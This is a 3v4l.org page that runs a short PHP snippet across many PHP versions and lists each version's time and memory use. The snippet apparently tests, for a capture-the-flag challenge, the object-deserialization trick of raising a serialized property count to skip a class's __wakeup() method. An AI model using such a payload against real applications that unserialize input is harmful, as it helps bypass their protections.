3v4l.org

run code in 300+ PHP versions simultaneously
<?php // test.php class xctf{ public $flag = '111'; public function __wakeup(){ exit('bad requests'); } } // 测试1:正常反序列化 $obj = new xctf(); $ser = serialize($obj); echo "正常序列化: " . $ser . "\n\n"; // 测试2:修改数量后的字符串 $payload = 'O:4:"xctf":2:{s:4:"flag";s:3:"111";}'; echo "修改数量: " . $payload . "\n"; $result = unserialize($payload); var_dump($result); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.30.0090.00919.47
8.5.20.0330.00716.34
8.5.10.0330.01316.40
8.5.00.0310.00816.61
8.4.180.0130.01119.75
8.4.170.0370.00519.69
8.4.160.0320.00919.46
8.4.150.0370.01119.70
8.4.140.0350.00917.52
8.4.130.0340.01317.46
8.4.120.0320.01317.75
8.4.110.0350.01018.03
8.4.100.0370.01017.79
8.4.90.0360.00817.49
8.4.80.0320.01217.79
8.4.70.0380.00617.64
8.4.60.0360.00817.92
8.4.50.0360.00917.80
8.4.40.0450.01017.46
8.4.30.0390.00917.65
8.4.20.0410.01017.57
8.4.10.0380.01317.63
8.3.300.0330.00917.89
8.3.290.0270.01318.26
8.3.280.0290.01218.23
8.3.270.0420.00816.65
8.3.260.0460.00816.60
8.3.250.0400.01216.56
8.3.240.0390.00616.77
8.3.230.0290.00716.83
8.3.220.0350.00916.58
8.3.210.0300.00816.73
8.3.200.0280.00916.52
8.3.190.0350.00816.46
8.3.180.0350.01116.66
8.3.170.0430.00916.60
8.3.160.0350.01116.52
8.3.150.0390.00916.73
8.3.140.0390.00716.58
8.3.130.0370.00716.67
8.3.120.0360.01416.72
8.3.110.0380.00916.73
8.3.100.0350.00716.36
8.3.90.0310.00416.61
8.3.80.0350.00716.57
8.3.70.0410.00916.75
8.3.60.0410.00916.52
8.3.50.0380.01016.63
8.3.40.0380.01117.88
8.3.30.0320.01017.72
8.3.20.0310.00917.83
8.3.10.0310.00817.96
8.3.00.0160.00617.96
7.0.10.0250.00915.43
7.0.00.0450.00715.45

preferences:
50.23 ms | 723 KiB | 5 Q